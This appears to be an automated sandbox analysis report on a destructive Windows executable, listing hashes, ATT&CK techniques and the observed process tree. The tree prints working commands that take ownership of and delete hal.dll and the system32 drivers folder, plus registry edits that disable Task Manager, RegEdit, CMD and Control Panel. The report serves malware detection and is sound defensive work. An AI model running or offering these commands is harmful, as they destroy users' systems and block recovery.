62dc61ec97bd58357a532b3392a6bed9b562f3d4902fd10a7f7ee91c5d536475

Analysis

max time kernel
15s
platform
windows11-21h2_x64
resource
win11-20240730-en
resource tags

arch:x64arch:x86image:win11-20240730-enlocale:en-usos:windows11-21h2-x64system
submitted
01-08-2024 20:53

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

fuckwindows.exe
Size

1.2MB
MD5

816c5a325484587fe43c4be313cf412b
SHA1

76847fb310a648d81933ece3866a5e12879fc272
SHA256

62dc61ec97bd58357a532b3392a6bed9b562f3d4902fd10a7f7ee91c5d536475
SHA512

db0850b791588676e52c211d8e88c6cde7241936a6980ce055f72c0598f5324371c776c86632dc4a2de591d7805adf44e938937298a394bb085f4779a2668cbb
SSDEEP

24576:WQnZkrl1PGVuyhd9tBDgYW9sVTHzw9ulgUTYqwQ4co+y8BrVRHKV9OuVGawkU5dl:lTYYD4Hw

Score

8^/10

defense_evasion discovery evasion exploit ransomware

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
5352	takeown.exe
4176	icacls.exe
2100	takeown.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5352	takeown.exe
4176	icacls.exe
2100	takeown.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Control Panel\Desktop\Wallpaper = "c:\\windows\\system32\\WindowsSecurityIcon.png"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings	explorer.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5352	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5340 wrote to memory of 1940	5340	fuckwindows.exe	80
PID 5340 wrote to memory of 1940	5340	fuckwindows.exe	80
PID 5340 wrote to memory of 1404	5340	fuckwindows.exe	82
PID 5340 wrote to memory of 1404	5340	fuckwindows.exe	82
PID 5340 wrote to memory of 4128	5340	fuckwindows.exe	83
PID 5340 wrote to memory of 4128	5340	fuckwindows.exe	83
PID 5340 wrote to memory of 1972	5340	fuckwindows.exe	85
PID 5340 wrote to memory of 1972	5340	fuckwindows.exe	85
PID 5340 wrote to memory of 4000	5340	fuckwindows.exe	87
PID 5340 wrote to memory of 4000	5340	fuckwindows.exe	87
PID 5340 wrote to memory of 6032	5340	fuckwindows.exe	89
PID 5340 wrote to memory of 6032	5340	fuckwindows.exe	89
PID 5340 wrote to memory of 2164	5340	fuckwindows.exe	91
PID 5340 wrote to memory of 2164	5340	fuckwindows.exe	91
PID 5340 wrote to memory of 4136	5340	fuckwindows.exe	94
PID 5340 wrote to memory of 4136	5340	fuckwindows.exe	94
PID 5340 wrote to memory of 4416	5340	fuckwindows.exe	96
PID 5340 wrote to memory of 4416	5340	fuckwindows.exe	96
PID 1940 wrote to memory of 5352	1940	cmd.exe	98
PID 1940 wrote to memory of 5352	1940	cmd.exe	98
PID 1940 wrote to memory of 4176	1940	cmd.exe	99
PID 1940 wrote to memory of 4176	1940	cmd.exe	99
PID 5340 wrote to memory of 2364	5340	fuckwindows.exe	100
PID 5340 wrote to memory of 2364	5340	fuckwindows.exe	100
PID 5340 wrote to memory of 2084	5340	fuckwindows.exe	102
PID 5340 wrote to memory of 2084	5340	fuckwindows.exe	102
PID 5340 wrote to memory of 4208	5340	fuckwindows.exe	104
PID 5340 wrote to memory of 4208	5340	fuckwindows.exe	104
PID 5340 wrote to memory of 3720	5340	fuckwindows.exe	106
PID 5340 wrote to memory of 3720	5340	fuckwindows.exe	106
PID 5340 wrote to memory of 2608	5340	fuckwindows.exe	108
PID 5340 wrote to memory of 2608	5340	fuckwindows.exe	108
PID 5340 wrote to memory of 5480	5340	fuckwindows.exe	109
PID 5340 wrote to memory of 5480	5340	fuckwindows.exe	109
PID 5340 wrote to memory of 3896	5340	fuckwindows.exe	111
PID 5340 wrote to memory of 3896	5340	fuckwindows.exe	111
PID 5340 wrote to memory of 4656	5340	fuckwindows.exe	113
PID 5340 wrote to memory of 4656	5340	fuckwindows.exe	113
PID 5340 wrote to memory of 2004	5340	fuckwindows.exe	115
PID 5340 wrote to memory of 2004	5340	fuckwindows.exe	115
PID 5340 wrote to memory of 5540	5340	fuckwindows.exe	116
PID 5340 wrote to memory of 5540	5340	fuckwindows.exe	116
PID 5340 wrote to memory of 2472	5340	fuckwindows.exe	118
PID 5340 wrote to memory of 2472	5340	fuckwindows.exe	118
PID 5340 wrote to memory of 2116	5340	fuckwindows.exe	119
PID 5340 wrote to memory of 2116	5340	fuckwindows.exe	119
PID 5340 wrote to memory of 2092	5340	fuckwindows.exe	120
PID 5340 wrote to memory of 2092	5340	fuckwindows.exe	120
PID 5340 wrote to memory of 2420	5340	fuckwindows.exe	121
PID 5340 wrote to memory of 2420	5340	fuckwindows.exe	121
PID 5340 wrote to memory of 2740	5340	fuckwindows.exe	124
PID 5340 wrote to memory of 2740	5340	fuckwindows.exe	124
PID 5340 wrote to memory of 3196	5340	fuckwindows.exe	125
PID 5340 wrote to memory of 3196	5340	fuckwindows.exe	125
PID 5340 wrote to memory of 3376	5340	fuckwindows.exe	127
PID 5340 wrote to memory of 3376	5340	fuckwindows.exe	127
PID 5340 wrote to memory of 2932	5340	fuckwindows.exe	129
PID 5340 wrote to memory of 2932	5340	fuckwindows.exe	129
PID 5340 wrote to memory of 2820	5340	fuckwindows.exe	130
PID 5340 wrote to memory of 2820	5340	fuckwindows.exe	130
PID 5340 wrote to memory of 4716	5340	fuckwindows.exe	131
PID 5340 wrote to memory of 4716	5340	fuckwindows.exe	131
PID 5340 wrote to memory of 5492	5340	fuckwindows.exe	132
PID 5340 wrote to memory of 5492	5340	fuckwindows.exe	132

C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
"C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5352
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4176
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:1404
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4128
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:1972
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  PID:4000
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:6032
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:2164
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4136
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3720
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4656
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5540
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2472
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2092
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2420
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3376
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2932
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:2820
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5492
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:3508
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2360
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1584
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5816
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4648
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3564
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5660
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:4032
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6128
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6568
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6608
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6688
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6716
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6836
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:6724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6788
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:276
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7184
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:7292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7392
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:7404
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7684
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7708
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:8020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:8084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
  2⤵
  PID:5004
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\drivers\*"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:5376
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:5804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact